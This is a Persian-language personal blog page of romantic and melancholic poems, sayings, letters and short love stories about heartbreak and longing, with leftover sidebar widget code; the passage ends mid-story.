تبلیغات
فونت زیبا سازفونت زیبا ساز DoOoNyA - باور نکرد دوستش دارم
درباره وبلاگ

فونت زیبا ساز



√ بِسمـ ا... اَلرحمنـ الرحیمـ

وَإِن یَڪَادُ الَّذِینَ ڪَفَرُوا لَیُزْلِقُونَڪَ

بأَبْصَارِهِمْ لَمَّا سَمِعُوا الذِّڪْر

وَیَقُولُونَ إِنَّهُ لَمَجْنُونٌ

وَمَا هُوَ إِلَّا ذِڪْرٌ لِّلْعَالَمِین.

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

سلام.خوش اومدین...
نظر یادتون نره درضمن باتبادل لینک هم موافقم...

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
صدای خنده خدا را میشنوی؟؟؟!!
آرزوهایت راشنیده و به آنچه محال میپنداری میخندد!!!!!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
وقتی کسی بهت گفت از ته دل دوستت دارم.
مواظب باش چون هنوزجایی در بالای قلبش برای دیگری وجود دارد.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
مــی دانـــی

اگـــر هنوز هم تورا آرزو می کنم

برای ِ بـی آرزو بودن ِ من نیستـــ !!

شــایـــــد

آرزویــی زیبـــاتــر از تـــ ــــو ســراغ ندارم ...!!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

آنقدر به این روزگار بی اعتماد شده ام که میترسم هرگاه از شادی به هوا میپرم زمین را از زیر پایم بکشند.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

آدم ها فراموش نمیکنند ! فقط
دیگر "ساکت"میشوند!هـمـیــن

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

دلگیر نباش!
دلت که گیر باشد رها نمیشوی...

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

به درختان جنگل گفتم:شما بااین عظمت چرا از تکه آهنی به نام تبر میرنجید؟
گفتند:رنجش ما از تبر نیست ار دسته ی آن است که از جنس خودمان است.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

خدایا . . .
خواستم بگویم تنهایم
اما نگاه خندانت ، مرا شرمگین کرد
چه کسی بهتر از تــو ... !

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

از تصادف جان سالم به در برده بود و می گفت زندگی اش را مدیون ماشین مدل بالایش
است و خــــــــــــــــــــــــدا همچنان لبخند میزد. . . .

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
هر جا دلت شکست
خودت شکسته ها رو جمع کن !

تا هر ناکسی منت دست زخمیشو به رخت نکشه !!!!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
کدام عاشقتر بودیم؟
من که
بخاطر عشق
دنیایم جهنم شد...!
... یا آدم که
بهشتش
دنیاشد...!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
بــیـچــاره دلـم! آن قــدر سـاده اسـت كـه اگـر صـدای شـرشــر بـاران بـشـنــودخــیــس مـــی شــود.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
بعضیا کاری باهات میکنن که یادآوری تمام لطف هایی که در حقشون کردی …
به شدت از خودت متنفرت میکنن !

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

وقتی یه بار ازدوست ضربه می خوری درست مثل این می مونه که با ماشین بهت زده و داغونت کرده ولی وقتی می بخشیش درست مثل این می مونه که بهش فرصت دادی تا دنده عقب بگیره و دوباره از روت رد بشه تا مطمئن بشه چیزی ازت نمونده .

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
زندگــــــــے وزن نگاهے اســــــــت
که בر خاطــــ ـره ها مے ماند
شاید این حســـــرت بیهـــــــوده که بر בل בارے
شعلــــﮧ گرمے امیــــــــــد تو را، خواهـــــــــد کشت
زندگے בرکــــــــ همیـــــــــن اکنون است
زندگے شـ ــوق رسیدن به همــــان
فردایــــــــے است، که نخواهـــــــــد آمد
تو نه בر دیـــروزے، و نه בر فردایــــــے
ظرفــــــــــ امروز، پر از بوבن توســـت
شاید این خــــــــنده که امروز، בریغــ ـش کردے
آخرین فرصت همراهے با، امیــــــــــــد است
ــــــــــــــــــــــــــــــــــــــــــــــــــــــ
בﻧـﯿـﺎ ﺭﺍ ﻭﺍﺭﻭﻧـﻪ ﻣـے ﺧـﻮﺍﻫـﻢ…
ﺁבﻡ ﻫـﺎ ﺭﺍ..
اﺗـﻔـﺎﻕ ﻫـﺎ ﺭﺍ…
ﻧﺮﺳـﯿـבﻥ ﻫـﺎ…ﻧﺘـﻮﺍﻧـﺴـﺘـﻦ ﻫـﺎ…ﻧﺨـﻮﺍﺳـﺘـﻦ
ﻫـﺎ ﺭﺍ ﻧـﯿـﺰ…!
בﻟـﻢ ﻣـے ﺧـﻮﺍﻫـב…
ﺭﻭﯾـﺎﻫـﺎ ﺍﺯ ﺳـﺮ ﻭ ﮐـﻮﻝ ﻫـﻢ ﺑـﺎﻻ ﺑـﺮﻭﻧـב…
ﻣـﺮבﻣـﺎﻥ ﺑـﺨـﻨـבﻧـב ﺍﺯ ﺗـﻪ בﻝ…
ﻣـے ﺧـﻮﺍﻫـﻢ ﻫـﺮﮐـﺴـے בﺳـﺖ בﺭﺍﺯ ﮐـﻨـﺪ ﻭ…
ﺳـﺘـﺎﺭﻩ ﺧـﻮﺩﺵ ﺑـﭽـﯿـﻨـב ﺍﺯ ﺁﻥ ﺑـﺎﻻ…
ﻣـے ﺧـﻮﺍﻫـﻢ בﯾـﮕـﺮ ﺳـﺮ ﺑـﻪ ﺗـﻦ ﻫـﯿـﭻ ﻏـﺼّـﻪ ﺍے ﻧـﺒـﺎﺷـﺪ
ــــــــــــــــــــــــــــــــــــــــــــــــــــــ
کوچک باش و عاشق…
که عشق خوב مےداند آیین بزرگ کرבنت را…
بگذار عشق خاصیت تو باشد ، نه رابطﮧ ے خاص تو با کسے…
زندگے شگفت انگیز است اگر لبخند بزنی…
ــــــــــــــــــــــــــــــــــــــــــــــــــــــ

نگران فرבایت نباش، خـבاے בیروز و امروزت، فرבا هم هست...
خوشبختے نگاه خـבاست...

________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
__@@@@@@@@@@@@@@
__@@@@@@@@@@@@@@
___________________
_________@@@@@@@
_____@@@@@@@@@@@
___@@@@@______@@@@@
__@@@@@_________@@@@@
_@@@@@___________@@@@@
_@@@@@___________@@@@@
_@@@@@___________@@@@@
__@@@@@_________@@@@@
___@@@@@______@@@@@
______@@@@@@@@@@@
_________@@@@@@@
_____________________________
__@@@@@____________@@@@@
___@@@@@__________@@@@@
____@@@@@________@@@@@
_____@@@@@______@@@@@
______@@@@@____@@@@@
_______@@@@@__@@@@@
________@@@@@@@@@@
_________@@@@@@@@@
__________@@@@@@@@
___________@@@@@@@
____________@@@@@@
________________________
____@@@@@@@@@@@@@
____@@@@@@@@@@@@@
_________________@@@@@
_________________@@@@@
_________________@@@@@
____@@@@@@@@@@@@@
____@@@@@@@@@@@@@
_________________@@@@@
_________________@@@@@
_________________@@@@@
____@@@@@@@@@@@@@
____@@@@@@@@@@@@@

مدیر وبلاگ : Mojtaba mohamadi
موضوعات
نویسندگان
جستجو

آمار وبلاگ
کل بازدید :
بازدید امروز :
بازدید دیروز :
بازدید این ماه :
بازدید ماه قبل :
تعداد نویسندگان :
تعداد کل پست ها :
آخرین بازدید :
آخرین بروز رسانی :
فونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا ساز
................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

سایت عاشقانه

کد کج شدن تصویر

98love

98love

عاشقانه

عاشقانه

عاشقانه

کد آیکون

کد آیکون

کد آیکون

کد آیکون

script type='text/javascript' src='http://pIChaK.NEt/upper/jquery.min.js' >



دریافت کد پرواز حباب ها
فونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا ساز

icon-98love

icon-98love



icon-98love

DoOoNyA
زندگے בرک همان لبخندے است که به خوشبختے تو مے اندیشد....

نمی خواهم…  

نمی خواهم خاطره ی فردایم شوی!

امروز من باش

حتی لحظه ای……!


نامه ای به یك بی وفا.......................................( س ا غ ر )  

به نام کلام دروغین عشق

چند وقتی بود که میخواستم برای تو درد این قلبی را که شکستی و رفتی بنویسم

اما تا میخواستم بنویسم قطره های اشکم بر روی کاغذ میریخت

و نمی توانستم آنچه را که میخواهم بر روی صفحه کاغذ

خیس بنویسم.حالا دیگر یک قطره اشک نیز در چشمانم نمانده و

همان قلب شکسته ام تنها یادگار از عشقت به جا مانده

قلبی که یک عالمه درد دارد ، دردی که مدتهاست دامنگیرش شده است.

از آن لحظه ای که رفتی در غم عشقت سوختم و با لحظه های تنهایی ساختم.

نمی توانستم از او که مدتها همدل و همزبانم بود جدا شوم ،

اما تو رفتی و تنها یک قلب شکسته سهم من از این بازی عشق بود

یک بازی تلخ که ای کاش آغاز نمیکردم تا اینگونه در غم پایانش بنشینم

تو که میخواستی روزی رهایم کنی و چشمان بی گناهم را خیس کنی

چرا با من آغاز کردی!

مگر این قلب بی طاقت و معصوم چه گناهی کرده بود

گناهش این بود که عاشق شد و تو را بیشتر از هر کسی ، از ته دل دوست داشت

اینک که برای تو از بی وفایی هایت مینویسم انگار آسمان چشمانم دوباره ابری شده

و در قحطی اشک دوباره میخواهد ببارد.اما من مینویسم

مینویسم که یک قلب را شکستی ، و زندگی ام را تباه کردی.

کاش می دانستی چقدر دوستت داشتم ،

کاش می دانستی شب و روز به یادت بودم و از غم دوری ات با

چشمان خیس به خواب عاشقی می رفتم.

نمی دانی چه آرزوها و رویاهایی را با تو در دل داشتم.می خواستم عاشقترین باشم ،

برای تو بهترین باشم ، یکرنگ بمانم و یکدل نیز از عشقت بمیرم.

آن زمان که با تو بودم کسی نام مرا صدا نمیکردم ،

همه به من میگفتند ((دیوانه)).آری من دیوانه بودم ، یک دیوانه ساده دل.

دیوانه ای که اینک تنهای تنهاست و از غم جدایی ات روانی شده است.

این را بدان نه تو را نفرین کردم ، و نه آرزوی خوشبختی برایت کردم.

این روزها خیلی احساس تنهایی میکنم ،

راستش را بخواهی هنوز دوستت دارم اما

دیگر دلم نمیخواهد حتی یک لحظه نیز با تو باشم.

خیلی دلم میخواهد فراموشت کنم اما نمی دانم چرا نمی توانم

دلم برای لحظه های با تو بودن تنگ شده و یاد آن لحظه ها قلب شکسته ام را میسوزاند.

و این بود سرنوشت من و تو! چه بگویم که هر چه بگویم دلم بیشتر می سوزد .

نیستی که ببینی اینجا زندگی ام بدون تو بی عطر و بوست ، بی رنگ و روست.

هر چه نوشتم درد این قلب دیوانه من بود ، نمیخواستم بنویسم از تو ، اما قلبم نمیگذاشت.

بهانه میگرفت ، گریه می کرد ، میگفت بنویس تا بداند چه دردی دارم.

انگار دوباره کاغذم از قطره های اشکم خیس شده ،

دیگر قلمم برای روی کاغذ خیس نمی نویسد.

خواستم بنویسم که خیلی بی وفایی.

--------------------------------------------------------------------------------------------------------



هرکی بخونه آروم میشه...  

http://axgig.com/images/41099698447533398350.jpg

 

غـروبـا میون هــفته بر سـر قـبر یه عاشـق

یـه جوون مـیاد مـیزاره گـلای سـرخ شـقایـق

بی صـدا میشکنه بغضش روی سـنـگ قبـر دلدار

اشک میریزه از دو چـشـمش مثل بارون وقت دیدار

زیر لب با گـریه مـیگه : مـهـربونم بی وفایـی

رفتی و نیـسـتی بدونی چـه جـگر سـوزه جـدایی

آخه من تو رو می خواستم اون نجـیـب خوب و پاک

اون صـدای مهـربون ، نه سـکــوت ســرد خــاک

تویی که نگاه پاکت مـرهـم زخـم دلــــم بـود

دیدنـت حـتی یه لـحــظه راه حـل مشکـلـم بود

تو که ریـشه کردی بـا من، توی خـاک بی قراری

تو که گفتی با جـدایی هـیـچ مـیونه ای نداری

پس چـرا تنهام گذاشـتی توی این فـصل ســیاهی

تو عـزیـزترینی اما یه رفیـق نــیـمه راهــی

داغ رفتنـت عـزیـزم خط کـشـیـد رو بـودن مـن

رفتی و دیگـه چـه فایده ناله و ضـجـّه و شیـون

تو سـفر کردی به خـورشـید ،رفتی اونور دقایق

منـو جا گذاشتی اینجا با دلی خـســته و عاشـق

نمـیـخـوام بی تو بمـونم ، بی تـو زندگی حرومــه

تو که پیش من نبـاشـی ، هـمـه چـی برام تمـومه

عاشـق خـسـته و تنها سـر گـذاشـت رو خاک نمناک

گفت جگر گـوشـه ی عـشـقو دادمـش دسـت توای خاک

نزاری تنها بمونـه ، هــمـدم چـشـم سـیـاش باش

شونه کن موهاشو آروم ، شـبا قصـه گو بـراش باش

و غـروب با اون غـرورش نتونسـت دووم بـیـــاره

پاکشـیـد از آسـمـون و جاشـو داد به یـک سـتاره

اون جــوون داغ دیـده با دلـی شـکـسـته از غـم

بوسـه زد رو خـاک یار و دور شد آهسـته و کم کم

ولی چند قدم که دور شد دوباره گـریه رو سـر داد

روشــــو بــر گــردونـــد و داد زد

بـه خـدا نـمــیـری از یاد

عشق .... عبادت  

عشـــق مثـــل عبادتـــــــــ کــــردن مــــی مــونــــه

بعـــد از اینکـــه نیتــــــــــ کـــــــــردی

دیگــــه نبایــــــد به اطرافتـــــــــــ نگاه کنـــــــی ..
 

یه نفر...  


قلبـــــــ♥ـــــم ...

مثــــــه قبــــــــــــرم ...

فقــــــط جــــــایِ یــــــه نفــــــره ...
 

سهم من...  

   
سهــمِ مَــن از دُنیــــــــــــا
نداشتـــــن استــــــــــــ ...
تنهـــــا قـــــدم زدن در پیاده رو هــــــا
و فكـــــــر كردن به كســـــی كه
هیـــــــــچ وقتـــــــــــــ نبــــــــــود ................!
 

یهو...  

      

بعضی آدمهــــــا یهـو میــان …
یهـو زندگیـتـــــو قشنگ میکنن …
یهـو میشن همــــــه ی دلخـوشیت ….
یهـو میشن دلیـل خنــــــده هات…
یهـو میشن دلیل نفس کشیــــدنت …
بـعــــد همینجـوری یهـو میــــــرن ….
یهـو گنـــــــــــد میـزنن بـه آرزوهــــات …
یهـو میشن دلیل همــــــــه ی غصــه هات و همـــــــه ی اشکات . .
یهـو میشن سبب بلا…


خدا...  


آخر با که بگویم درد این دل شکسته را

آخر با که بگویم که قلب من عاشق قلبی است که باسنگ بیابان فرقی ندارد،قلب من عاشق قلبی است که اصلا قلب نیست دلم میخواهد آنقدر فریاد بکشم که صدای فریادم قلب خدا را به لرزه اندازد،دلم میخواهد فریاد بزنم و دیوانه وار به خدا بگویم:آخر ای خوای خوب من چطور میتوانی این همه بی عدالتی را ببینی و دم نزنی مگر نه آنکه میگویند تو رحیمی پس به من رحم کن......
خدایا به او بگو،با تمام سرسختی هایش دوستش دارم آری باز هم میگویم تو را باتمام بدیهایت دوستت دارم اگر چه تو خیلی عذابم دادی تو همیشه در مقابل چشمهای اشک آلود من غرق در شادی های خود بودی خوش باش که شادی ات را میخواهم،خوش باش که همیشه خوب ببینمت،افسوس که نمیدانی نه بدیت را گفته ام...!
همیشه با خود اندیشیده ام که تو در چه خیال و من در چه خیال..
خنده ام میگیرد خنده ای که از گریه غم انگیزتر است،آری محبوبم من روز های سختی را پشت سر گذاشته ام اما فراموش نکن چشمان من همیشه در پناه این پنجره های سرد و یخ بسته چشم به راه توست، چشمان من آن همه اشک را بدرقه راهت کرد که تنها به تو بفهماند که دوستت دارم و از تو بخواهد که نسبت به این چشمها این همه بی تفاوت و بی محبت نباشی در این دنیای پرهیاهو چشمهای من فقط چشمان تو را مینگرد،به شب به آسمانها مینگرم فقط به خیال اینکه چشمهای تو را میان آنها ببینم،دستهای من فقط دستهای تو را لمس میکند آنقدر صبر میکنم تا راهت را انتخاب کنی ای کاش آن قلب سنگی ات که درون سینه ات یخ بسته ذره ای از قلب من خبر داشت و حس میکرد و حس میکرد که چطور با تو یک رنگ و صادق هستم..
میبوسم قلب سنگی تو را که صادق بوده و با شهامت نخواسته و نمیخواهی که به دروغ با من باشی........

انتظار........  

لبت طاقتم را نداشت و طاقتم تو را………تقدیم به دریای عشقم 

 

        دارم از تو می نوسم…………..که نگی دوست ندارم

 

 

           از تو که با یک نگاهت ………….زیر و رو شد روزگارم

 

 

       روی گلهای نرگس ، با یک مداد قرمز ، هزار دفعه نوشتم…………زندگی بی تو هرگز

 

 

              تموم دنیا سر جاش ………………….. فقط منو دوست داشته باش

 

 

         
                دوست واقعی کسی است که دست تو را بگیرد ولی قلب تو را لمس کند

 

 

                   بدترین شکل دلتنگی برای کسی است که در کنار او باشی

 

 

                     ولی بدانی که هرگز به او نخواهی رسید.

 

 

         دعایی میکنم هرشب ز دل بیرون رود مهرت……ولی اهسته میگویم خدایا بی اثر باشد

 

 

           تو بودی باور من ، تو یار و یاور من ، تو بودی عشق اول ، رفیق اخر من

 

 

           تو بودی شور هستی ، رفیق خوب مستی ، تو بودی کعبه عشق ، مثل خدا پرستی

 

 

                                                          پروانه به شمع بوسه زد و بال و پرش سوخت ، بیچاره از این عشق سوختن اموخت.

 

 

              فرق من و پروانه در اینست که او پرش و من دلم سوخت.

 

 

             شبی پرسیدمت بابی قراری به غیر از من کسی را دوست داری؟

 

 

           به چشمت از شرم شد اشک جاری میان گریه هایش گفت…..اری

نوشته ای از یك عاشق به نام :morteza| یکشنبه 3 شهریور1392 | 21:37 | + | موضوع: | 15 نفر زیر بارون عاشق شدن

رفیق...  


رفیق!!

پـیـراهــَــنـــمــ را بــــِــزטּ بـآلـــآ !! 

كـــَمـــَــرَمـــ را دیـــدے ؟؟ 

نـــترس ، چیـزے نیــســـتـــ !! 

ایــטּ هــا فــَــقــَــط جـآے خـــَـنــجــَـرَنـــد !! 

مــــטּ نــفــَــهـمیــدمــ در رفـــــآقــــَـتـــ چــــﮧ شـــد ؟؟ !! 

وَلــــــــﮯ ؛ تــــــو مــُــواظـــبـــــ بــــآش .. !!
 

عاشق منتظر…  

 

سالهای سال منتظرت میمونم و میمانم، تا برگردی تا آخرین نفسم هم همینجوری می ایستم و می مانم به انتظار دیدنت کاشکی زودتر برگردی،برگشتی نمیذارم بری و اگرم برنگشتی منتظرت میمونم شاید بیای سرخاکم اونجا منتظرت میمانم

سکوت دردناک است اما در سکوت است که همه چیز شکل می گیرد و در زندگی ما لحظه هایی هست که تنها کار ما باید انتظار کشیدن باشد . . .

تا کی در انتظار میگذاری به زاریم ؟ از آن بعد از اینهمه چشم انتظاریم . . .

امشب دلم از آمدنت سرشار است / فانوس به دست کوچه دیدار است
آنگونه تو را در انتظارم که اگر / این چشم بخوابد ، آن یکی بیدار است

عاشق خسته…  

آهای عاشق خسته من ، دستت را بگذار بر روی دل من. میبینی که من نیز مثل تو خسته ام ، میبینی که من نیز مثل تو با غمها نشسته ام. آهای عاشق خسته من ، عاشق دل شکسته ات شده ام ، ببین مرا که محو نگاه زیبایت شده ام.

من اینجا و تو آنجا هر دو دلشکسته ایم ، تا اینجا هم اگر نفسی است برای هم زنده ایم. من برای تو میشکنم و تو برای من ، راه راست بی فایده است ، تقلب میکنیم تا زندگی مات شود در این دایره غمآهای عاشق خسته من ، شب آمده و باز هم یاد تو در دلم ، ستاره ها خاموش ، من مانده ام و وجودم که در حسرت است ، در حسرت یک آغوش …. آغوشی که لذتش تنها با تو است ، دنیا خواب است ، کاش بودی که بیداری ام تا سحر عادت است. آهای عاشق خسته من ،کجا میروی ، جایی نداری برای رفتن ، همه جا ماندنیست ، جز اینجا که نمیتوانیم بمانیم برای هم…. شعر غم میخوانم و اشک در چشمانت ، غم برای یک لحظه رود درمان میشود آن درد حال پریشانت. من برای تو فدا میشوم و تو برای من ، همه وجودم فدایت ، تو آرام بمان تا خیالش راحت شود دل من.. آهای سرنوشت ، با ما هم؟ ما که در زندگی به ناحق باختیم و چیزی نگفتیم،  در آتش عشق سوختیم و باز هم سکوت کردیم ،  با غمها همنشین بودیم و با حسرت نشستیم ، هر چه رفتیم، آخر راه بن بست بود و باز هم نشکستیم! رفتیم و رفتیم تا آخر راه ، آخرش پیدا نشد و ما نشستیم چشم به راه… آهای عاشق خسته من ، دستت را بگذار در دستان من … میبینی که تا اینجا هم با تو ماندم، گفته بودم تا آخرش ، آخر قصه  را هم برایت خواندم….

 

خاطرات..  

فراموشم نکن شاید سال ها بعد در گذر خیابان ها از کنار هم بگویی آن غریبه چقدر شبیه خاطراتم بود


چون ماه  

دختری از پسری پرسید : آیا من نیز چون ماه زیبایم ؟

پسر گفت : نه ، نیستی
دختر با نگاهی مضطرب پرسید : آیا حاضری تکه ای از قلبت را تا ابد به من بدهی ؟
پسر خندید و گفت : نه ، نمیدهم

دختر با گریه پرسید : آیا در هنگام جدایی گریه خواهی کرد ؟
پسر دوباره گفت : نه ، نمیکنم
دختر با دلی شکسته از جا بلند شد در حالی که قطره های الماس اشک چشمانش را نوازش میکرد

اما پسر دست دختر را گرفت ، در چشمانش خیره شد و گفت :

تو به انداره ی ماه زیبا نیستی بلکه بسیار زیباتر از آن هستی

من تمام قلبم را تا ابد به تو خواهم داد نه تکه ای کوچک از آن را

و اگر از من جدا شوی من گریه نخواهم کرد بلکه خواهم مرد

 

شبای بی تو...  

 

 

بی تو تنها گریه کردم تو شبای بی ستاره

انتظار تو کشیدم تا که برگردی دوباره

 در غروب رفتنت ، لحظه هایم را شکستم

زیر بارون جدایی با خیال تو نشستم

پشت شیشه روز و شب ، دل به بارون می سپارم

من برای گریه هام ، چشمه ها رو کم می یارم

انتظار با تو بودن منو از پا درمیاره

ترس از این دارم که بی تو ، تا ابد چشام بباره


چگونه...  


دلم دیگر به زندگی گرم نیست
مادر می‌گوید : باید کمی به خودت برسی !
اما چگونه ؟ وقتی از هر طرف میروم به تو می‌رسم ؟!

وقتی رفتی...  

وقتــــــی " رفتــــــی " تا آخــــــر " بــــــرو " . . .
وقتــــــی " مانــــــدی " تا آخــــر " بمــــان " . . .
ایــــــن " تــــــن " خستــــــه اســــــت ... !
از نیــــــمه رفــــــتن ها ....
از نیــــــمه مانـــــدن ها ....


تمام لحظه هایم درد دارد!!!  

عزیزم
می دانی؟
خواستنت
نه…!!!
خواستنت با تمام وجود
ان هم وقتی دوری
که سایه ات هم از این حوالی نمیگذرد
چه دردی دارد؟
عزیزم
نخند
به خدا تمام لحظه هایم درد دارد
تو که نمی دانی
تنها قدم زدن
میان دو نفره ها در پارک
ان هم وقتی دل اسمان برایت گرفته است
چه دردی دارد
عزیزم
نخند

تمام لحظه هایم درد دارد
کاش می دانستی
ارزوی خوشبختی
برای دختر و پسری عاشق
که در تاکسی
کنارم می نشینند
دست در دست هم
وقتی با حسرت نگاهشان کنی
چه دردی دارد
عزیزم
نخند
تمام لحظه هایم درد دارد
اگر می دانستی
بودنت در تمام سلول های خاطراتم
ان هم وقتی که در هیچ کدامشان حضور نداشته ای
چه دردی دارد
از این نبودنت
خجالت می کشیدی
عزیزم
نخند
تمام لحظه هایم درد دارد

 


همین یک لحظه....  

تاوان کدامین اشتباه بود؟

تو گفتی بمان و من ماندم...

اکنون که تو رفته ای...

من در کوچه های تنهایی به انتظار برگشت تو به بی کسی

خود خیره شده ام...

و نمیدانم اخر چه خواهد شد...

میروی و من نگاهت میکنم...

تعجب نکن که چرا گریه نمیکنم بی تو...

یک عمر برای گریستن وقت دارم...

اما برای تماشای تو همین یک لحظه باقیست...

و شاید همین یک لحظه اجازه زیستن در چشمان تو را داشته باشم...

 

مال من نبود...  

مال من نبود…!

نمیگویم نبود

تمام دنیا رو جستجو کردم

تمام لحظه هایم را دنبال کسی گشتم که مرا از خود سر شار کند

تا بشود همه کمبود ها و نبود هایم

بشود همه نداشته هایم

بشود نیمه گمشده ام تا تکمیل شوم در او و حل شوم در حضورش

انکه زیبا ترین باشد ومهربانترین و نابترین و…

نمیگویم گشتم نبود

گشتم بود

بهتر از خیال و تصورات و رویاهایم

ولی ….

مال دیگران بود…

مال کسی که شاید بهتر از من باشد هزاران بار

ولی بیشتر از من نه جستجویش کرده و نه دوستش داردو نه برایش گریسته…

فقط او را دارد … همه عشق احساسش را …

شما هم بگردید

 شاید وقتی پیدایش کردید مال خودتان باشد…

شاید ….

تنهایی  

چقــــבر بـבه ازشـــــ خبـــر نداشتهــــ باشیـــــ

sMs بـבیــــ جوابتـــو نـــבه

ســآعتهـــا نگرانشـــــ باشیــــ بعد

بآ یه خطــ בیگهـــ بهشــــ زنگـــــ بزنیــــــ با בومینــــــ بوق گوشیـــــ رو برבآرهـــــ

اونــــ وقتـــهـ کهـــ میفهمـیــــ تنهاییـــــــ

اونــــ وقتـــهـ کهـــ میفهمـیــــ בیگهـــ בوستتـــــ نـבآرهـــ

آבمــآ از همینـــ جـآ تنــهاییــــ رو وآســهـ خودشونــــ انتخابـــ میکننـــــ .

  

عشق لعنتی...  

شنیدیم٬ میگن:

وقتی یه دختر بخاطر یه پسر اشک میریزه ،
یعنی واقعن دوسش داره...

اما ....وقتی یه پسر بخاطر یه دختر اشک بریزه ،

یعنی دیگه هیچوقت نمیتونه کسیو مثل اون دوست داشته باشه ....


ماه....  

هیـــــچوقت کســی رو پــس نــزن کــه ,
دوستــ♥ ــت داره ... مراقــــــبته ...
و نگرانــــــــــــت میشــه ...!
چـــون یــک روز بیــدار میشـــی و میبینــی ...
مـــــــــاه رو از دســــت دادی ...
وقتــی که داشــتی ســـــــتاره ها رو میشـــمردی ......!

 

مرا دوست داری؟  

تو را قسم می دهم به خدایی که در دل داری
تا زمانیکه قلبم را از آن خود نکردیبه من نگو دوستت دارم
به همان خــــــــــــدا من با این واژه زندگی خواهم کرد
اگر هم نفرین نکنم آه دل شکسته دامن گیرت خواهد شد
من از شکستن ها بیزارم
می خواهم جلوی دلم سربلند باشم
اینبار با دلت بگو :
آیا مرا دوست داری؟
 

گریه...  

دلَـمـ یه طوریـــــــشه...

بیاییـن، بیایین دور " مـن" حلقـه ﺑﺰﻧﯿﻦ


ﺩﺳـﺘآﯼ ﻫﻤﺪﯾﮕـﻪ ﺭُ ﺑﮕـﯿﺮﯾﻦ ﻭ ﺑﭽـﺮﺧﯿـﻦ . . .

ﻣﻨـﻢ ﻫﻤﻮﻥ ﻭﺳـﻂ ﻣﯿﺸﯿﻨـﻢ ﻭ ﺍﻟﮑـے ﮔﺮﯾـﻪ ﻣﯿﮑﻨـﻢ . . .

 

رفت...  

فقط رفت

بدون کلامی که بوی اشک دهد …

فقط رفت

بدون نگاهی که رنگ حسرت داشته باشد …

فقط رفت …

فقط رفت و من شنیدم که توی دلش گفت :

راحت شدم .


قلب..  

پسر به دختر گفت اگه یه روزی به قلب احتیاج داشته باشی اولین نفری هستم که میام تا قلبمو با تمام وجودم تقدیمت کنم.دختر لبخندی زد و گفت ممنونم
تا اینکه یک روز اون اتفاق افتاد..حال دختر خوب نبود..نیاز فوری به قلب داشت..از پسر خبری نبود..دختر با خودش میگفت :میدونی که من هیچوقت نمیذاشتم تو قلبتو به من بدی و به خاطر من خودتو فدا کنی..ولی این بود اون حرفات..حتی برای دیدنم هم نیومدی…شاید من دیگه هیچوقت زنده نباشم.. آرام گریست و دیگر چیزی نفهمید…

چشمانش را باز کرد..دکتر بالای سرش بود.به دکتر گفت چه اتفاقی افتاده؟دکتر گفت نگران نباشید پیوند قلبتون با موفقیت انجام شده.شما باید استراحت کنید..درضمن این نامه برای شماست..!
دختر نامه رو برداشت.اثری از اسم روی پاکت دیده نمیشد. بازش کرد و درون آن چنین نوشته شده بود:

سلام عزیزم.الان که این نامه رو میخونی من در قلب تو زنده ام.از دستم ناراحت نباش که بهت سر نزدم چون میدونستم اگه بیام هرگز نمیذاری که قلبمو بهت بدم..پس نیومدم تا بتونم این کارو انجام بدم..امیدوارم عملت موفقیت آمیز باشه.(عاشقتم تا بینهایت)

دختر نمیتوانست باور کند..اون این کارو کرده بود..اون قلبشو به دختر داده بود..
آرام اسم پسر را صدا کرد و قطره های اشک روی صورتش جاری شد..و به خودش گفت چرا هیچوقت حرفاشو باور نکردم…

 

داستان عشق داداشی ..  

وقتی سر کلاس درس نشسته بودم تمام حواسم متوجه دختری بود که کنار دستم نشسته بود و اون منو “داداشی” صدا می کرد .

به اون خیره شده بودم و آرزو می کردم که عشقش متعلق به من باشه . اما اون توجهی به این مساله نمیکرد .

آخر کلاس پیش من اومد و جزوه جلسه پیش رو خواست . من جزومو بهش دادم .بهم گفت: متشکرم.

میخوام بهش بگم ، میخوام که بدونه ، من نمی خوام فقط “داداشی” باشم . من عاشقشم . اما… من خیلی خجالتی هستم ….. علتش رو نمیدونم .

تلفن زنگ زد .خودش بود . گریه می کرد. دوستش قلبش رو شکسته بود. از من خواست که برم پیشش. نمیخواست تنها باشه. من هم اینکار رو کردم.

وقتی کنارش نشسته بودم. تمام فکرم متوجه اون چشمهای معصومش بود. آرزو میکردم که عشقش متعلق به من باشه. بعد از ۲ ساعت دیدن فیلم و

خوردن ۳ بسته چیپس ، خواست بره که بخوابه ، به من نگاه کرد و گفت : متشکرم.

روز قبل از جشن دانشگاهپیش من اومد. گفت : قرارم بهم خورده ، اون نمیخواد با من بیاد

من با کسی قرار نداشتم. ترم گذشته ما به هم قول داده بودیم که اگه زمانی هیچکدوممون برای مراسمی پارتنر نداشتیم با هم دیگه باشیم ، درست مثل

یه “خواهر و برادر” . ما هم با هم به جشن رفتیم. جشن به پایان رسید . من پشت سر اون ، کنار در خروجی ، ایستاده بودم ، تمام هوش و حواسم به اون

لبخند زیبا و اون چشمان همچون کریستالش بود. آرزو می کردم که عشقش متعلق به من باشه ، اما اون مثل من فکر نمی کرد و من این رو میدونستم ،

به من گفت : متشکرم ، شب خیلی خوبی داشتیم.

یه روز گذشت ، سپس یک هفته ، یک سال … قبل از اینکه بتونم حرف دلم رو بزنم روز فارغ التحصیلی  فرا رسید ، من به اون نگاه می کردم که درست مثل

